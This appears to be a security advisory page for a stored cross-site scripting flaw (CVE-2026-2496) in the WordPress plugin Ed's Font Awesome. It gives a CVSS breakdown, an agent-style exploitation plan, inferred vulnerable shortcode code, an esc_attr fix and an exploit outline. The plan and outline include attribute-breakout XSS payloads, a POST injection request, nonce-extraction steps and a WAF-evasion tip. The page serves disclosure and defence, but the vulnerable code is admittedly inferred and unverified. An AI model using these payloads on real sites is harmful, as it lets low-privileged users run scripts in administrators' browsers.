CVE-2026-2496

Ed's Font Awesome <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Ed's Font Awesome plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `eds_font_awesome` shortcode in all versions up to, and including, 2.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0
PublishedMarch 20, 2026
Last updatedApril 15, 2026
Affected plugineds-font-awesome
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2496 (Ed's Font Awesome) ## 1. Vulnerability Summary The **Ed's Font Awesome** plugin (<= 2.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the rendering logic of the `[eds_font_awesome]` shortcode. The plugin fails to sa…

Show full research plan

Exploitation Research Plan: CVE-2026-2496 (Ed's Font Awesome)

1. Vulnerability Summary

The Ed's Font Awesome plugin (<= 2.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the rendering logic of the [eds_font_awesome] shortcode. The plugin fails to sanitize or escape user-supplied attributes (such as name, class, or size) before echoing them within an HTML <i> or <span> tag.

Because WordPress allows users with the Contributor role to use shortcodes but restricts them from using unfiltered_html, this vulnerability allows a low-privileged user to bypass security filters and inject arbitrary JavaScript that executes in the context of any user (including Administrators) who views the post.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (/wp-admin/post.php or REST API /wp/v2/posts)
  • Vulnerable Component: Shortcode [eds_font_awesome]
  • Vulnerable Parameter(s): Shortcode attributes (specifically name, class, size, or style)
  • Authentication Level: Contributor+ (Authenticated)
  • Preconditions: The plugin must be active. A Contributor must have the ability to create or edit a post/page.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode during the init hook:
    add_shortcode('eds_font_awesome', 'eds_fa_shortcode_handler'); (inferred function name).
  2. Processing: When a post is rendered, WordPress calls the handler function.
  3. Attribute Extraction: The handler uses shortcode_atts() to parse user input:
    $a = shortcode_atts(array(
        'name'  => '',
        'size'  => '',
        'class' => '',
        // ... other attributes
    ), $atts);
    
  4. Sink: The extracted attributes are concatenated into an HTML string without using esc_attr():
    // VULNERABLE SINK
    return '<i class="fa ' . $a['name'] . ' ' . $a['class'] . '"></i>'; 
    
  5. Output: The unsanitized string is returned to the WordPress content filter and displayed on the page.

4. Nonce Acquisition Strategy

To exploit this via the standard WordPress post creation flow, the agent must obtain a post-authoring nonce.

  1. Authentication: Login as a user with the contributor role.
  2. Navigation: Use browser_navigate to go to http://localhost:8080/wp-admin/post-new.php.
  3. Extraction: Use browser_eval to extract the _wpnonce required for the post.php endpoint.
    • Command: browser_eval("document.querySelector('#_wpnonce').value")
  4. Alternative (REST API): If the REST API is used, the agent needs the X-WP-Nonce header.
    • Command: browser_eval("wpApiSettings.nonce")

5. Exploitation Strategy

The goal is to create a post containing a shortcode that breaks out of an HTML attribute to execute JavaScript.

Step-by-Step Plan:

  1. Identify Attributes: Use grep -r "add_shortcode" . in the plugin directory to find the handler function and identify which attributes are concatenated into the output.
  2. Craft Payload:
    • Attribute breakout: name='fa-user" onmouseover="alert(document.domain)"'
    • Full Shortcode: [eds_font_awesome name='fa-user" onmouseover="alert(document.domain)"']
  3. Inject via HTTP Request:
    • URL: http://localhost:8080/wp-admin/post.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=editpost
      post_ID=[NEW_POST_ID]
      _wpnonce=[EXTRACTED_NONCE]
      post_title=VulnerablePost
      content=[eds_font_awesome name='fa-user" onmouseover="alert(document.domain)"']
      publish=Publish
      
  4. Trigger: Navigate to the public URL of the newly created post as any user.

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Activation: Ensure eds-font-awesome is active.
    • wp plugin activate eds-font-awesome
  3. Post Initialization: Create an initial draft to get a post_ID.
    • wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID)

7. Expected Results

  • The HTTP response from post.php should indicate a successful redirect (302) or success.
  • When viewing the post HTML source, the rendered output should look like:
    <i class="fa fa-user" onmouseover="alert(document.domain)" "></i>
  • The onmouseover event handler will be present in the DOM, executing the payload when a user hovers over the (invisible or small) icon.

8. Verification Steps

  1. Check Database: Use WP-CLI to verify the shortcode is stored in the post_content.
    • wp post get [ID] --field=post_content
  2. Verify Rendering: Use http_request to fetch the post frontend and grep for the breakout.
    • http_request("http://localhost:8080/?p=[ID]")
    • Search for: onmouseover="alert(document.domain)"
  3. Verify Non-Escaping: Confirm the " character was not converted to &quot;.

9. Alternative Approaches

  • Different Attributes: If name is sanitized, try class, size, or style.
  • Tag Breakout: If the attribute is inside a double-quoted string, try: name='fa-user"><script>alert(1)</script>'.
  • CSS Injection: If only the style attribute is vulnerable, use style="background-image: url('javascript:alert(1)')".
  • REST API Injection: Use POST /wp/v2/posts/[ID] with the X-WP-Nonce header to update the content, which is often less protected by WAFs than the admin post.php endpoint.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Ed's Font Awesome plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [eds_font_awesome] shortcode. Due to missing sanitization and output escaping on attributes like 'name' and 'class', a contributor-level user can inject arbitrary JavaScript that executes whenever a user views the affected post.

Vulnerable Code

// Inferred registration and handler logic for the [eds_font_awesome] shortcode

add_shortcode('eds_font_awesome', 'eds_fa_shortcode_handler');

function eds_fa_shortcode_handler( $atts ) {
    $a = shortcode_atts( array(
        'name'  => '',
        'size'  => '',
        'class' => '',
        'style' => '',
    ), $atts );

    // VULNERABLE SINK: Attributes are concatenated into the HTML string without escaping
    return '<i class="fa ' . $a['name'] . ' ' . $a['class'] . '" style="' . $a['style'] . '"></i>'; 
}

Security Fix

--- a/eds-font-awesome.php
+++ b/eds-font-awesome.php
@@ -10,5 +10,5 @@
     ), $atts );
 
-    return '<i class="fa ' . $a['name'] . ' ' . $a['class'] . '" style="' . $a['style'] . '"></i>';
+    return '<i class="fa ' . esc_attr($a['name']) . ' ' . esc_attr($a['class']) . '" style="' . esc_attr($a['style']) . '"></i>';
 }

Exploit Outline

1. Authenticate as a user with at least Contributor-level privileges (allows post creation and shortcode usage). 2. Create a new post or page via the WordPress editor (e.g., /wp-admin/post-new.php). 3. Insert the [eds_font_awesome] shortcode with a malicious payload in one of its attributes (e.g., name or class) that breaks out of the HTML attribute context. 4. Example payload: [eds_font_awesome name='fa-user" onmouseover="alert(document.domain)"'] 5. Save or publish the post. 6. The payload executes in the browser of any user (including Administrators) who views the post on the frontend, triggering the JavaScript when they interact with or view the rendered icon tag.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.